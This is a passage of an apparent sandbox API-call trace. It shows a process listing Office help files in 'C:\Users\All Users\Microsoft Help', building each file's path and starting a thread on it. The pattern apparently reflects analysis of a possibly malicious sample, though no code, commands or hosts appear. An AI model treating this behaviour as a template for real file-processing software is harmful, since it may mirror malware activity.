_Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.652] wcscat (in: _Dest=0x5ed5f58, _Source="MS.GRAPH.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn" [0051.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5f58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde8 [0051.653] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd822070, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1 [0051.653] wcscmp (_String1="MS.GROOVE.14.1033.hxn", _String2=".") returned 1 [0051.653] wcscmp (_String1="MS.GROOVE.14.1033.hxn", _String2="..") returned 1 [0051.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5fd0 [0051.653] wcscpy (in: _Dest=0x5ed5fd0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.653] wcscat (in: _Dest=0x5ed5fd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.653] wcscat (in: _Dest=0x5ed5fd0, _Source="MS.GROOVE.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn" [0051.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdec [0051.654] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11446a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn", cAlternateFileName="MSINFO~1.HXN")) returned 1 [0051.655] wcscmp (_String1="MS.INFOPATH.14.1033.hxn", _String2=".") returned 1 [0051.655] wcscmp (_String1="MS.INFOPATH.14.1033.hxn", _String2="..") returned 1 [0051.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08698 [0051.655] wcscpy (in: _Dest=0x12e08698, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.655] wcscat (in: _Dest=0x12e08698, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.655] wcscat (in: _Dest=0x12e08698, _Source="MS.INFOPATH.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" [0051.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf0 [0051.656] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1146cbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn", cAlternateFileName="MSINFO~2.HXN")) returned 1 [0051.656] wcscmp (_String1="MS.INFOPATHEDITOR.14.1033.hxn", _String2=".") returned 1 [0051.656] wcscmp (_String1="MS.INFOPATHEDITOR.14.1033.hxn", _String2="..") returned 1 [0051.656] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f86f0 [0051.656] wcscpy (in: _Dest=0x96f86f0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.656] wcscat (in: _Dest=0x96f86f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.656] wcscat (in: _Dest=0x96f86f0, _Source="MS.INFOPATHEDITOR.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" [0051.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f86f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf4 [0051.658] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1 [0051.658] wcscmp (_String1="MS.MSACCESS.14.1033.hxn", _String2=".") returned 1 [0051.658] wcscmp (_String1="MS.MSACCESS.14.1033.hxn", _String2="..") returned 1 [0051.658] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08718 [0051.658] wcscpy (in: _Dest=0x12e08718, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.658] wcscat (in: _Dest=0x12e08718, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.658] wcscat (in: _Dest=0x12e08718, _Source="MS.MSACCESS.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" [0051.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf8 [0051.659] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn", cAlternateFileName="MSMSAC~2.HXN")) returned 1 [0051.659] wcscmp (_String1="MS.MSACCESS.DEV.14.1033.hxn", _String2=".") returned 1 [0051.659] wcscmp (_String1="MS.MSACCESS.DEV.14.1033.hxn", _String2="..") returned 1 [0051.659] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f8778 [0051.659] wcscpy (in: _Dest=0x96f8778, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.659] wcscat (in: _Dest=0x96f8778, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.659] wcscat (in: _Dest=0x96f8778, _Source="MS.MSACCESS.DEV.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" [0051.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdfc [0051.661] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1 [0051.661] wcscmp (_String1="MS.MSOUC.14.1033.hxn", _String2=".") returned 1 [0051.661] wcscmp (_String1="MS.MSOUC.14.1033.hxn", _String2="..") returned 1 [0051.661] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4ef3d8 [0051.661] wcscpy (in: _Dest=0x4ef3d8, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.661] wcscat (in: _Dest=0x4ef3d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.661] wcscat (in: _Dest=0x4ef3d8, _Source="MS.MSOUC.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn" [0051.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ef3d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe00 [0051.662] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1 [0051.662] wcscmp (_String1="MS.MSPUB.14.1033.hxn", _String2=".") returned 1 [0051.662] wcscmp (_String1="MS.MSPUB.14.1033.hxn", _String2="..") returned 1 [0051.662] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4ef180 [0051.662] wcscpy (in: _Dest=0x4ef180, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.662] wcscat (in: _Dest=0x4ef180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.662] wcscat (in: _Dest=0x4ef180, _Source="MS.MSPUB.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn" [0051.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ef180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe04 [0051.663] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn", cAlternateFileName="MSMSPU~2.HXN")) returned 1 [0051.663] wcscmp (_String1="MS.MSPUB.DEV.14.1033.hxn", _String2=".") returned 1 [0051.663] wcscmp (_String1="MS.MSPUB.DEV.14.1033.hxn", _String2="..") returned 1 [0051.663] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08798 [0051.663] wcscpy (in: _Dest=0x12e08798, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.663] wcscat (in: _Dest=0x12e08798, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.664] wcscat (in: _Dest=0x12e08798, _Source="MS.MSPUB.DEV.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" [0051.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe08 [0051.665] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn", cAlternateFileName="MSMSTO~1.HXN")) returned 1 [0051.665] wcscmp (_String1="MS.MSTORE.14.1033.hxn", _String2=".") returned 1 [0051.665] wcscmp (_String1="MS.MSTORE.14.1033.hxn", _String2="..") returned 1 [0051.665] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46070 [0051.665] wcscpy (in: _Dest=0x5e46070, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.665] wcscat (in: _Dest=0x5e46070, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.665] wcscat (in: _Dest=0x5e46070, _Source="MS.MSTORE.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn" [0051.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe0c [0051.666] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn", cAlternateFileName="MSOIS1~1.HXN")) returned 1 [0051.666] wcscmp (_String1="MS.OIS.14.1033.hxn", _String2=".") returned 1 [0051.666] wcscmp (_String1="MS.OIS.14.1033.hxn", _String2="..") returned 1 [0051.666] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x437058 [0051.666] wcscpy (in: _Dest=0x437058, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.666] wcscat (in: _Dest=0x437058, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.666] wcscat (in: _Dest=0x437058, _Source="MS.OIS.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn" [0051.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x437058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe10 [0051.667] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e3ad0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1 [0051.667] wcscmp (_String1="MS.ONENOTE.14.1033.hxn", _String2=".") returned 1 [0051.667] wcscmp (_String1="MS.ONENOTE.14.1033.hxn", _String2="..") returned 1 [0051.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08818 [0051.668] wcscpy (in: _Dest=0x12e08818, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.668] wcscat (in: _Dest=0x12e08818, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.668] wcscat (in: _Dest=0x12e08818, _Source="MS.ONENOTE.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" [0051.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe14 [0051.669] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2689510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1 [0051.669] wcscmp (_String1="MS.OUTLOOK.14.1033.hxn", _String2=".") returned 1 [0051.669] wcscmp (_String1="MS.OUTLOOK.14.1033.hxn", _String2="..") returned 1 [0051.669] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08898 [0051.669] wcscpy (in: _Dest=0x12e08898, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.669] wcscat (in: _Dest=0x12e08898, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.669] wcscat (in: _Dest=0x12e08898, _Source="MS.OUTLOOK.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" [0051.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe18 [0051.670] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26af670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn", cAlternateFileName="MSOUTL~2.HXN")) returned 1 [0051.670] wcscmp (_String1="MS.OUTLOOK.DEV.14.1033.hxn", _String2=".") returned 1 [0051.670] wcscmp (_String1="MS.OUTLOOK.DEV.14.1033.hxn", _String2="..") returned 1 [0051.670] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f8800 [0051.671] wcscpy (in: _Dest=0x96f8800, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.671] wcscat (in: _Dest=0x96f8800, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.671] wcscat (in: _Dest=0x96f8800, _Source="MS.OUTLOOK.DEV.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" [0051.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe1c [0051.672] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1 [0051.672] wcscmp (_String1="MS.POWERPNT.14.1033.hxn", _String2=".") returned 1 [0051.672] wcscmp (_String1="MS.POWERPNT.14.1033.hxn", _String2="..") returned 1 [0051.672] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08918 [0051.672] wcscpy (in: _Dest=0x12e08918, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.672] wcscat (in: _Dest=0x12e08918, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.672] wcscat (in: _Dest=0x12e08918, _Source="MS.POWERPNT.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" [0051.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe20 [0051.674] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn", cAlternateFileName="MSPOWE~2.HXN")) returned 1 [0051.674] wcscmp (_String1="MS.POWERPNT.DEV.14.1033.hxn", _String2=".") returned 1 [0051.674] wcscmp (_String1="MS.POWERPNT.DEV.14.1033.hxn", _String2="..") returned 1 [0051.674] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f8888 [0051.674] wcscpy (in: _Dest=0x96f8888, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.674] wcscat (in: _Dest=0x96f8888, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.674] wcscat (in: _Dest=0x96f8888, _Source="MS.POWERPNT.DEV.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" [0051.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe24 [0051.675] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1 [0051.675] wcscmp (_String1="MS.SETLANG.14.1033.hxn", _String2=".") returned 1 [0051.675] wcscmp (_String1="MS.SETLANG.14.1033.hxn", _String2="..") returned 1 [0051.675] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08998 [0051.675] wcscpy (in: _Dest=0x12e08998, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.675] wcscat (in: _Dest=0x12e08998, _Source="\\" | out: _Dest="C:\\Users\\All 